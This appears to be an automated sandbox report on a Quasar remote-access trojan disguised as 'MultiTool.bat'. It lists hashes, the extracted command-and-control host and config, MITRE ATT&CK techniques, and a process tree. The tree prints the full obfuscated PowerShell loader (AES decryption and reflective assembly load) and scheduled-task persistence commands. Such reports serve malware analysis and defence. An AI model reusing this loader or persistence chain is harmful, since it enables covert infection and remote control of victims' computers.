quasar | 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7

Analysis

max time kernel
91s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/09/2024, 12:50

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General

Target
MultiTool.bat
Size 1.9MB
Sample240921-p25mtstbmm
SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
MD5 d73bb7bd8ccbcaa96d82814353542776
SHA1 11da76358cb5bf6cd1c9e6f0335ab4c324f064b3
SHA512 53f590519b02264ce7a5d9f3652b421a41a63127720ec0479d909c8562578a8d3ac2d29c6e5503811e423437b03bd40071de09cfe42bfeaa36b940838c34f39c
SSDEEP 24576:Ze3Ma37ez5Gnb+UglSrPJIGx1h4tvCFTeCdahXwm1H0dIu92p/UObPbvtl628r6h:GOU6ZUGvCOwm504TZl1h
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

still-firefly-10028.pktriot.net:22288

Mutex

0d77e6bf-daed-41e5-ad1a-4a4f9650e9d5

Attributes

encryption_key
C75C8F2E12DF23FF67198A31653AD36D88F51551
install_name
COM Surrogate.exe
log_directory
Logs
reconnect_delay
3000
startup_key
COM Surrogate
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2020-50-0x000001B16BD70000-0x000001B16C08E000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1852	powershell.exe
2020	powershell.exe
1420	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2128	COM Surrogate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1852	powershell.exe
1852	powershell.exe
1420	powershell.exe
1420	powershell.exe
2020	powershell.exe
2020	powershell.exe
2128	COM Surrogate.exe
2128	COM Surrogate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeIncreaseQuotaPrivilege	1420	powershell.exe
Token: SeSecurityPrivilege	1420	powershell.exe
Token: SeTakeOwnershipPrivilege	1420	powershell.exe
Token: SeLoadDriverPrivilege	1420	powershell.exe
Token: SeSystemProfilePrivilege	1420	powershell.exe
Token: SeSystemtimePrivilege	1420	powershell.exe
Token: SeProfSingleProcessPrivilege	1420	powershell.exe
Token: SeIncBasePriorityPrivilege	1420	powershell.exe
Token: SeCreatePagefilePrivilege	1420	powershell.exe
Token: SeBackupPrivilege	1420	powershell.exe
Token: SeRestorePrivilege	1420	powershell.exe
Token: SeShutdownPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeSystemEnvironmentPrivilege	1420	powershell.exe
Token: SeRemoteShutdownPrivilege	1420	powershell.exe
Token: SeUndockPrivilege	1420	powershell.exe
Token: SeManageVolumePrivilege	1420	powershell.exe
Token: 33	1420	powershell.exe
Token: 34	1420	powershell.exe
Token: 35	1420	powershell.exe
Token: 36	1420	powershell.exe
Token: SeIncreaseQuotaPrivilege	1420	powershell.exe
Token: SeSecurityPrivilege	1420	powershell.exe
Token: SeTakeOwnershipPrivilege	1420	powershell.exe
Token: SeLoadDriverPrivilege	1420	powershell.exe
Token: SeSystemProfilePrivilege	1420	powershell.exe
Token: SeSystemtimePrivilege	1420	powershell.exe
Token: SeProfSingleProcessPrivilege	1420	powershell.exe
Token: SeIncBasePriorityPrivilege	1420	powershell.exe
Token: SeCreatePagefilePrivilege	1420	powershell.exe
Token: SeBackupPrivilege	1420	powershell.exe
Token: SeRestorePrivilege	1420	powershell.exe
Token: SeShutdownPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeSystemEnvironmentPrivilege	1420	powershell.exe
Token: SeRemoteShutdownPrivilege	1420	powershell.exe
Token: SeUndockPrivilege	1420	powershell.exe
Token: SeManageVolumePrivilege	1420	powershell.exe
Token: 33	1420	powershell.exe
Token: 34	1420	powershell.exe
Token: 35	1420	powershell.exe
Token: 36	1420	powershell.exe
Token: SeIncreaseQuotaPrivilege	1420	powershell.exe
Token: SeSecurityPrivilege	1420	powershell.exe
Token: SeTakeOwnershipPrivilege	1420	powershell.exe
Token: SeLoadDriverPrivilege	1420	powershell.exe
Token: SeSystemProfilePrivilege	1420	powershell.exe
Token: SeSystemtimePrivilege	1420	powershell.exe
Token: SeProfSingleProcessPrivilege	1420	powershell.exe
Token: SeIncBasePriorityPrivilege	1420	powershell.exe
Token: SeCreatePagefilePrivilege	1420	powershell.exe
Token: SeBackupPrivilege	1420	powershell.exe
Token: SeRestorePrivilege	1420	powershell.exe
Token: SeShutdownPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeSystemEnvironmentPrivilege	1420	powershell.exe
Token: SeRemoteShutdownPrivilege	1420	powershell.exe
Token: SeUndockPrivilege	1420	powershell.exe
Token: SeManageVolumePrivilege	1420	powershell.exe
Token: 33	1420	powershell.exe
Token: 34	1420	powershell.exe
Token: 35	1420	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 1852	1616	cmd.exe	83
PID 1616 wrote to memory of 1852	1616	cmd.exe	83
PID 1852 wrote to memory of 1420	1852	powershell.exe	85
PID 1852 wrote to memory of 1420	1852	powershell.exe	85
PID 1852 wrote to memory of 1936	1852	powershell.exe	89
PID 1852 wrote to memory of 1936	1852	powershell.exe	89
PID 1936 wrote to memory of 3552	1936	WScript.exe	90
PID 1936 wrote to memory of 3552	1936	WScript.exe	90
PID 3552 wrote to memory of 2020	3552	cmd.exe	93
PID 3552 wrote to memory of 2020	3552	cmd.exe	93
PID 2020 wrote to memory of 4596	2020	powershell.exe	94
PID 2020 wrote to memory of 4596	2020	powershell.exe	94
PID 2020 wrote to memory of 2128	2020	powershell.exe	96
PID 2020 wrote to memory of 2128	2020	powershell.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MultiTool.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Local\Temp\MultiTool.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_154_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_154.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1420
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_154.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_154.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Roaming\startup_str_154.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2020
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "COM Surrogate" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4596
      - C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ee52dc7a60da00f667c711173c0d8631a3f7fb4c00e7c8f93c1f075d2c5ff805
MD5 db516858bc7d44d795f3db27e4727215
SHA1 641935cf474bc80e5639d4ee7ecde6c49f8437e0
SHA512 113f3ac6be9ef113d201b1a8476cf1d02cf8292d52f9550670988cf17b0b679c691f7703a250469bf00cc1a3d4819ffb255677ffea2883b8329860e94f88cc60
MD5 SHA1 SHA512

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__PSScriptPolicyTest_ukrybdg1.s0r.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ukrybdg1.s0r.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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COM Surrogate.exe

Path C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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startup_str_154.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_154.bat
Size 1.9MB
SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
MD5 d73bb7bd8ccbcaa96d82814353542776
SHA1 11da76358cb5bf6cd1c9e6f0335ab4c324f064b3
SHA512 53f590519b02264ce7a5d9f3652b421a41a63127720ec0479d909c8562578a8d3ac2d29c6e5503811e423437b03bd40071de09cfe42bfeaa36b940838c34f39c
SSDEEP 24576:Ze3Ma37ez5Gnb+UglSrPJIGx1h4tvCFTeCdahXwm1H0dIu92p/UObPbvtl628r6h:GOU6ZUGvCOwm504TZl1h
MD5 SHA1 SHA512 SSDEEP

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startup_str_154.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_154.vbs
Size 115B
SHA256 1c8d980cdeb068f58e75541e46ce228bd7adb5715f6993edc62a81fd534b35f2
MD5 38dd4c054b812a2f372a8e72140f3ca2
SHA1 c2466f5e3d2323efad3db8b2017b3c09a506af0d
SHA512 df3fb7660e217464856c75ea717f3d6cd5aa123f7c738fa9ef2e5a4bfdba6e43772265a54852fcca53213ba28a8fabc9dddca75ed202fc4de736b16135c17713
MD5 SHA1 SHA512

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memory/1420-30-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1420-16-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1420-26-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1420-27-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1852-13-0x0000028E765A0000-0x0000028E765A8000-memory.dmp

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memory/1852-14-0x0000028E76830000-0x0000028E76984000-memory.dmp

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memory/1852-0-0x00007FF96DB83000-0x00007FF96DB85000-memory.dmp

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memory/1852-12-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1852-11-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1852-51-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

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memory/1852-1-0x0000028E765B0000-0x0000028E765D2000-memory.dmp

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memory/2020-49-0x000001B16BC10000-0x000001B16BD64000-memory.dmp

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memory/2020-50-0x000001B16BD70000-0x000001B16C08E000-memory.dmp

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memory/2128-65-0x000001FC4EC10000-0x000001FC4EC54000-memory.dmp

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memory/2128-66-0x000001FC4ECE0000-0x000001FC4ED56000-memory.dmp

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